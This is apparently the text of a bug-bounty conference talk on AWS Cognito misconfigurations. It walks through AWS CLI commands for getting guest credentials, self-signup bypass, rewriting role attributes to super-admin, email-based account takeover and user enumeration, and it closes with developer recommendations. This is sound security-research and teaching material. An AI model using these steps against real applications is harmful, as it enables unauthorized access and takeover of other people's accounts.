Hunting For AWS Cognito Security Misconfigurations

Yassine Aboukir (@yassineaboukir)
Introduction

Yassine Aboukir (@yassineaboukir)

- Application security consultant
- Pentester at HackerOne
- HackerOne Hacker Advisory Board member
- Security Analyst @ HackerOne (2017 - 2019)
- Bug Bounties (since 2013): HackerOne Top 20, H1-303 MVH & 1st place.
Introduction to AWS Cognito

With Amazon Cognito, you can add user sign-up and sign-in features and control access to your web and mobile applications.

Amazon Cognito provides an identity store that scales to millions of users, supports social and enterprise identity federation (OIDC or SAML 2.0), and offers advanced security features to protect your consumers and business.

Source: https://aws.amazon.com/cognito/
Introduction to AWS Cognito

Amazon Cognito makes it easier for you to manage user identities, authentication, and permissions.

Authentication
Who are you?
Validate a system is accessing by the right person

Authorization
Are you allowed to do that?
Check users’ permissions to access data

Source: https://www.ssl2buy.com/wiki/authentication-vs-authorization-whats-the-difference
Amazon Cognito makes it easier for you to manage user identities, authentication, and permissions. It consists of two main components:

- **User Pools**: allow sign-in and sign-up functionality.

- **Identity Pools**: allow authenticated and unauthenticated users to access AWS resources using temporary AWS credentials.
Introduction to AWS Cognito

Source: https://aws.amazon.com/blogs/mobile/building-fine-grained-authorization-using-amazon-cognito-user-pools-groups/
In practical words,

<table>
<thead>
<tr>
<th>API Call ID</th>
<th>URL</th>
<th>Method</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>9377</td>
<td><a href="https://cognito-idp.us-west-2.amazonaws.com">https://cognito-idp.us-west-2.amazonaws.com</a></td>
<td>OPTIONS</td>
<td>/</td>
</tr>
<tr>
<td>9378</td>
<td><a href="https://cognito-idp.us-west-2.amazonaws.com">https://cognito-idp.us-west-2.amazonaws.com</a></td>
<td>POST</td>
<td>/</td>
</tr>
<tr>
<td>9379</td>
<td><a href="https://cognito-identity.us-west-2.amazonaws.com">https://cognito-identity.us-west-2.amazonaws.com</a></td>
<td>POST</td>
<td>/</td>
</tr>
<tr>
<td>9380</td>
<td><a href="https://cognito-identity.us-west-2.amazonaws.com">https://cognito-identity.us-west-2.amazonaws.com</a></td>
<td>POST</td>
<td>/</td>
</tr>
</tbody>
</table>

API calls to AWS Cognito API endpoints

- **Yellow**: API calls to user pool / endpoint: `cognito-idp.us-west-2.amazonaws.com`
- **Green**: API calls to identity pool / endpoint: `cognito-identity.us-west-2.amazonaws.com`
In practice,

1. User logs in with username and password which is then checked against user pool.
In practical words,

2. The user pool generates and returns 3 JWT tokens:

- Access token
- ID token
- Refresh token
In practical words,

3. Generate an identity ID.
In practical words,

4. Use identity ID to generate temporary AWS credentials.
Unauthorized access to AWS services due to Liberal AWS Credentials

Guest access is enabled (anyone can request credentials)

Configure identity pool trust

Authentication
Choose the sources that your identity pool trusts to generate identities and issue credentials.

User access
Configure your identity pool to generate credentials for users authenticated by third parties, and optionally, unauthenticated guests.

- Authenticated access
  Issue credentials to authenticated users from trusted identity providers.

- Guest access
  Issue guest-access credentials to anyone with internet access. Use guest access with AWS resources such as public APIs and graphics assets.
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest

To generate the AWS credentials, we need to find **Identity Pool ID** which is usually hardcoded in the source code, in a bundled JS file or in HTTP response. Other useful information that you can find:

- Client ID
- User Pool ID
- Region
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest

Using Burpsuite, search for a variation of the following keywords in the HTTP history:

- Aws_cognito_identity_pool_id
- identityPoolId
- cognitoidentityPoolId
- userPoolWebClientId
- userPoolId
- Aws_user_pools_id
- REACT_APP_IDENTITY_POOL_ID

These hardcoded IDs are not considered sensitive on their own!
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest

Try content discovery techniques by enumerating and bruteforcing directories and files.

https://portal.example.com/.env

REACT_APP_API_XL_REPORTING= "https://api.
REACT_APP_BASE_PATH= "/partner"
REACT_APP_COOKIESTORAGE_DOMAIN= "localhost"
REACT_APP_COOKIESTORAGE_EXPIRES= 365
REACT_APP_COOKIESTORAGE_PATH= "/
REACT_APP_COOKIESTORAGE_SECURE= "true"
REACT_APP_IDENTITY_POOL_ID= "cognito-idp.ap-southeast-1.amazonaws.com/ap-southeast-1_edy2"
REACT_APP_IP= "https://execute-api.ap-southeast-1.amazonaws.com/production/partner"
REACT_APP_MANDATORY_SIGNIN= "true"
REACT_APP_PORTAL_IDENTITY_POOL_ID= "ap-southeast-1:d20ed039-6a33-4d:
REACT_APP_PROD= "true"
REACT_APP_REGION= "ap-southeast-1"
REACT_APP_SENTRY_ENDPOINT= ""
REACT_APP_STAGE= "production"
REACT_APP_USER_POOL_ID= "ap-southeast-1.6Bn:
REACT_APP_USER_POOL_WEB_CLIENT_ID= 60d5v1qkr
REACT_APP_VERSION= "v1"
REACT_APP_WEB_DOMAIN= "https://portal.
REACT_APP_WEB_SITEKEY= 6LcoBWOUAAAAAG9
_config_version= 74a2d69655a9c57974c1eb681d6ac7f98407de5e
Unauthorized access to AWS services due to Liberal AWS Credentials

Nuclei template to find Identity Pool ID.

id: aws-cognito-pool
info:
  name: AWS Cognito Pool ID
  author: gaurang
  severity: info
  tags: token,file
file:
  - extensions: all
    extractors:
      - type: regex
        regex:
          - "ap-northeast-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "ap-northeast-3:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "ap-southeast-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "ap-southeast-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "ap-south-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "ca-central-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "ca-central-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "eu-west-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "eu-west-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "eu-west-3:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "eu-north-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "us-east-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "us-east-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "us-west-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "us-west-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
          - "sa-east-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"

https://github.com/projectdiscovery/nuclei-templates/
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest

Next step is to use the Pool Identity ID to generate an Identity ID.

Use AWS Client (https://github.com/aws/aws-cli) as follows:

```
$ aws cognito-identity get-id --identity-pool-id <identity-pool-id> --region <region>
```

```bash
yassineaboukir@Yassines-MacBook-Pro ~ % aws cognito-identity get-id --identity-pool-id "us-west-2:520d4ac9-9543-499e-8190-********" --region "us-west-2"
{
    "IdentityId": "us-west-2:e5bc8e26-9c33-4877-af77-********"
}
```
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest

Next step is to use the previous Identity ID to generate AWS credentials. Use **AWS Cli** as follows:

```bash
$ aws cognito-identity get-credentials-for-identity --identity-id <identity-id> --region <region>
```
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest
Now, we can enumerate permissions associated with these credentials using a tool such as:

- Enumerate-iam: https://github.com/andresriancho/enumerate-iam
- Scout Suite: https://github.com/nccgroup/ScoutSuite

```
$ ./enumerate-iam.py --access-key <AccessKeyId> --secret-key <SecretKey> --session-token <SessionToken>
```

Enumerated permissions:
- Attempting common-service describe / list brute force.
- sts.get_caller_identity() worked!
- dynamodb.describe_endpoints() worked!
Unauthorized access to AWS services due to Liberal AWS Credentials

1. Try to fetch temporary AWS credentials as unauthenticated guest

You could enumerate all sort of permissions that allow unauthenticated user to access AWS services:

- dynamodb.list_backups()
- dynamodb.list_tables()
- lambda.list_functions()
- s3.list_buckets()
- etc.
Unauthorized access to AWS services due to Liberal AWS Credentials

If the unauthenticated role is explicitly disabled, you'll receive a similar error:

```
NotAuthorizedException: Unauthenticated access is not supported for this identity pool.
```

```sh
yassineaboukir@Yassines-MacBook-Pro Hacktools % aws cognito-identity get-id --identity-pool-id ap-southeast-1:d20ed039-6a33-********* --region ap-southeast-1

An error occurred (NotAuthorizedException) when calling the GetId operation: Unauthenticated access is not supported for this identity pool.
```
Unauthorized access to AWS services due to Liberal AWS Credentials

Guest access is disabled (only authenticated user can request credentials)

Configure identity pool trust

Authentication
Choose the sources that your identity pool trusts to generate identities and issue credentials.

User access
Configure your identity pool to generate credentials for users authenticated by third parties, and optionally, unauthenticated guests.

- Authenticated access
  Issue credentials to authenticated users from trusted identity providers.

- Guest access
  Issue guest-access credentials to anyone with internet access. Use guest access with AWS resources such as public APIs and graphics assets.
Unauthorized access to AWS services due to Liberal AWS Credentials

2. Try to fetch temporary AWS credentials as authenticated user

Assuming unauthenticated user is disabled and you either can sign up or have access to an authenticated account. Observe the HTTP traffic upon successful authentication:

ID_token is exchanged for temporary AWS credentials:
- AccessKeyId
- SecretKeyId
- SessionToken
Authentication bypass due to enabled Signup API action

Applications not offering user signup and only supporting administrative provision of accounts could be vulnerable as a result of not disabling signup API action.

This includes admin login portals which implement AWS cognito allowing authentication bypass as a result.
Authentication bypass due to enabled Signup API action

Self-registration enabled by default when creating a new user pool

Do you want to allow users to sign themselves up?

You can choose to only allow administrators to create users or allow users to sign themselves up. Learn more.

- Only allow administrators to create users
- Allow users to sign themselves up
Authentication bypass due to enabled Signup API action

We only need the client ID and region to test against the self-registration.

$ aws cognito-idp sign-up --client-id <client-id> --username <email-address> --password <password> --region <region>

Successful signup

Failed signup
Authentication bypass due to enabled Signup API action

We only need the client ID and region to test against the self-registration.

```
AWSManagementOptionsService.SignUp
```

<table>
<thead>
<tr>
<th>Request</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST / HTTP/2</td>
<td>HTTP/2 400 Bad Request</td>
</tr>
<tr>
<td>Host: cognito-idp.us-east-2.amazonaws.com</td>
<td>Date: Sun, 04 Dec 2022 13:27:10 GMT</td>
</tr>
<tr>
<td>Content-Type: application/x-amz-json-1.1</td>
<td>Content-Type: application/x-amz-json-1.1</td>
</tr>
<tr>
<td>X-Amz-Target: AWSManagementOptionsService.SignUp</td>
<td>Content-Length: 90</td>
</tr>
<tr>
<td>Content-Length: 124</td>
<td>X-Amzn-RequestId: 60c9977f-1275-45a2-9854-1b861303f441</td>
</tr>
<tr>
<td></td>
<td>X-Amzn-ErrorType: UnauthorizedException</td>
</tr>
<tr>
<td></td>
<td>X-Amzn-ErrorMessage: SignUp is not permitted for this user pool</td>
</tr>
</tbody>
</table>

```
{
    "ClientId":"1q5pq6dska6s8-------------",
    "Username":"yassineaboukir@wearehackerone.com",
    "Password":"Hkjhk79J2344"
}
```
Authentication bypass due to enabled Signup API action

In case of a successful self-registration, a 6 digits confirmation code will be delivered to the attacker’s email address.

$ aws cognito-idp confirm-sign-up --client-id <client-id> --username <email-address> --confirmation-code <confirmation-code> --region <region>

You’ll need to confirm the account next.
Authentication bypass due to enabled Signup API action

You can also directly call the Cognito API endpoint as follows:

```python
AWSCognitoIdentityProviderService.ConfirmSignUp
```

<table>
<thead>
<tr>
<th>Request</th>
<th>Raw</th>
<th>Hex</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST / HTTP/2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Host: cognito-idp.us-east-2.amazonaws.com</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Content-Type: application/x-amz-json-1.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>X-Amz-Target: AWSCognitoIdentityProviderService.ConfirmSignUp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Content-Length: 125</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>&quot;ClientId&quot;: &quot;i5pq6dska6&quot;, &quot;Username&quot;: &quot;<a href="mailto:yassineaboukir@wearehackerone.com">yassineaboukir@wearehackerone.com</a>&quot;, &quot;ConfirmationCode&quot;: &quot;123456&quot;</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Privilege escalation through writable user attributes

Attributes are pieces of information that help you identify individual users, such as name, email address, and phone number. A new user pool has a set of default *standard attributes*. 

<table>
<thead>
<tr>
<th>Required</th>
<th>Attribute</th>
<th>Required</th>
<th>Attribute</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>address</td>
<td></td>
<td>nickname</td>
</tr>
<tr>
<td></td>
<td>birthdate</td>
<td></td>
<td>phone number</td>
</tr>
<tr>
<td></td>
<td>email</td>
<td></td>
<td>picture</td>
</tr>
<tr>
<td></td>
<td>family name</td>
<td></td>
<td>preferred username</td>
</tr>
<tr>
<td></td>
<td>gender</td>
<td></td>
<td>profile</td>
</tr>
<tr>
<td></td>
<td>given name</td>
<td></td>
<td>zoneinfo</td>
</tr>
<tr>
<td></td>
<td>locale</td>
<td></td>
<td>updated at</td>
</tr>
<tr>
<td></td>
<td>middle name</td>
<td></td>
<td>website</td>
</tr>
<tr>
<td></td>
<td>name</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>


Privilege escalation through writable user attributes

You can also add custom attributes to your user pool definition in the AWS Management Console.
Privilege escalation through writable user attributes

Unless set as readable only, the new custom attribute permission is writable by default which allows the user to update its value.

**Attributes**

Select the user attributes this app client can read and write. You can select standard scopes that include multiple attributes and you can select a set of individual attributes.

**Readable Attributes**

- **Scopes**: Address, Email, Phone Number, Profile
- **Attributes**:
  - address
  - birthdate
  - email
  - email verified
  - family name
  - gender
  - given name
  - locale
  - middle name
  - name
  - nickname
  - phone number
  - phone number verified
  - picture
  - preferred username
  - profile
  - zoneinfo
  - updated at
  - website
  - custom:custom:UserRole

**Writable Attributes**

- **Scopes**: Address, Profile
- **Attributes**:
  - address
  - birthdate
  - email
  - family name
  - gender
  - given name
  - locale
  - middle name
  - name
  - nickname
  - phone number
  - picture
  - preferred username
  - profile
  - zoneinfo
  - updated at
  - website
  - custom:custom:UserRole
1. Fetching user attributes

In order to test against this misconfiguration, you need to be authenticated then we’ll fetch the available user attributes using the generated access token (Check Authorization header).

```
$ aws cognito-idp get-user --region <region> --access-token <access-token>
```
Privilege escalation through writable user attributes

1. Fetching user attributes

```json
Username: "Google_11453131366435396581"
UserAttributes: {
  "name": "sub",
  "value": "fADE3ade-f18d-4a7f-8827-c82fcb9d28b9"
},
  "name": "identities",
  "value": ["\"name\": \"Google\", \"providerName\": \"Google\", \"providerType\": \"Google\", \"iss\": \"null\", \"primary\": \true, \"dateCreated\": \"16701120749]\]
```

Privilege escalation through writable user attributes

1. Fetching user attributes

Look out for custom attributes such as:
- custom:isAdmin
- custom:userRole
- custom:isActive
- custom:isApproved
- custom:accessLevel
Privilege escalation through writable user attributes

2. Updating user attributes

$ aws cognito-idp update-user-attributes --access-token <access-token> --region <region> --user-attributes Name="<attribute-name>", Value="<new-value>"

AWSIdentityProviderService.UpdateUserAttributes
I'mo, I found a crit via a cognito API just 2 days ago. Retarded bug af tho

Yassine ABOUKIR (He/Him) • 12:21 PM
Haha whaat? Congrats bro! How did you find it if you can share ofc?

By using `aws cognito-idp get-user` I saw a custom:user_role attribute. I modified it with `aws cognito-idp update-user-attributes` to `super_administrator` (which I found in the JS) (Edited)

And my account became a super admin of the platform :)

Adam Djameti • 4:20 PM
Updating email attribute before verification

There scenarios where the user isn’t allowed to update their email address due to both client and server-side security controls. However, by leveraging Cognito API, it might also be possible to bypass this restriction.

```
$ aws cognito-idp update-user-attributes --access-token <access-token> --region <region> --user-attributes Name="email", Value="<new-email-address>"
```
Updating email attribute before verification

This is especially bad when verification isn’t required.

Which attributes do you want to verify?

Verification requires users to retrieve a code from their email or phone to confirm ownership. Verification of a phone or email is necessary to automatically confirm users and enable recovery from forgotten passwords. Learn more about email and phone verification.

- [ ] Email
- [ ] Phone number
- [ ] Email or phone number
- [x] No verification

If the email is relied upon for authorization and access control, this will result in horizontal and vertical privilege escalation.
Even with email verification enabled, most applications will update the email attribute value to the new **unverified** email address.

```
{
    "UserAttributes": [  
        {
            "Name": "sub",
            "Value": "a0e79874-45c2-4c5a-ab9a-20bbaef65d8"
        },  
        {
            "Name": "email_verified",
            "Value": "false"
        },  
        {
            "Name": "locale",
            "Value": "en_US"
        },  
        {
            "Name": "email",
            "Value": "yassineaboukir+poc@wearehackerone.com"
        }
    ],  
    "Username": "a0e79874-45c2-4c5a-ab9a-20bbaef65d8"
}
```
This is bad because the user will be still be able to login and obtain an authenticated access token using the unverified email address.

Many application do not necessarily check if email_verified is set to True or False. Therefore, this would bypass any security controls that relies on email domain for authorization, hence privilege escalation.
AWS has introduced a new security configuration to mitigate this issue, so if you have explicitly enabled the email attribute will not be updated to the new email address until it is verified.

This is a new security configuration that was only introduced after June 2022 which means a lot of applications might still be misconfigured.

Verifying attribute changes  

Keep original attribute value active when an update is pending - Recommended

When you update the value of an email or phone number attribute, your user must verify the new value. Until they verify the new value, they can receive messages and sign in with the original value. If you don't turn on this feature, your user can't sign in with that attribute before they verify the new value.
Updating email attribute before verification

Flickr Account Takeover using AWS Cognito API

Reported to: Flickr  Managed

Disclosed: December 18, 2021 8:35am +0800
Severity: Critical (9 - 10)
Weakness: Improper Authentication - Generic
Bounty: $7,550
Time spent: None

https://hackerone.com/reports/1342088
1. User victim email address on Flickr app is: max@example.com

2. Attacker attempts to updating their email but it was not possible form the application. However, the attacker leveraged Cognito API to update their own email to Max@example.com

```bash
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...]:--user-attributes
   Name=email,Value=Max@example.com
```

_Misconfigurations:_
- Email attribute is writable so it’s possible to update it via Cognito API.
- Email attribute is case-sensitive which could have been set to insensitive from AWS console.
3. Attacker logs in to their account using the newly updated email address Max@domain.com

*Misconfigurations:*
- `email_verified` attribute value wasn’t checked if it’s set to `True`.
- *Keep original attribute value active when an update is pending* wasn’t enabled.
Updating email attribute before verification

4. Flickr application normalizes Max@domain.com email to max@domain.com (victim) resulting in user account takeover (ATO).
User account enumeration via Signup API

Advanced security configurations - *optional*

- **Enable token revocation** [Info]
  Amazon Cognito will add new claims to access and id tokens to enable revocation. This increases the size of tokens.

- **Prevent user existence errors** [Info]
  Amazon Cognito authentication APIs return a generic authentication failure response, indicating either the user name or password is incorrect, instead of indicating that the user was not found.

User enumeration can be disabled for the user login.
User account enumeration via Signup API

Prevent User Existence Errors setting is **turned off**: 

"An error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist."

Prevent User Existence Errors setting is **turned on**: 

"An error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password."
User account enumeration via Signup API

User enumeration is still possible using Cognito SignUp API.

https://github.com/aws-amplify/amplify-js/issues/6238
User account enumeration via Signup API

User enumeration via **username** is still possible using Cognito SignUp API.

```
$ aws cognito-idp sign-up --client-id <Client_ID> --username admin --password adminpass
```

An error occurred (UsernameExistsException) when calling the SignUp operation: **User already exists**
User account enumeration via Signup API

User enumeration via email is still possible using Cognito SignUp API.

$ aws cognito-idp sign-up --client-id <Client_ID> --email yassineaboukir@wearehackerone.com --password adminpass

An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
Recommendations for developers

- Remove sensitive details from server responses, including Cognito Identity Pool Id.
- Disable Signup on AWS Cognito if not required.
- Disable unauthenticated role if not required.
- Review IAM policy attached to the authenticated and unauthenticated role to ensure least privilege access.
- Evaluate all user attributes and disable writing permission if not necessary.
- Remember that the email attribute value may hold an unverified email address.
Thank you!

Reach out on Twitter @yassineaboukir
Or https://yassineaboukir.com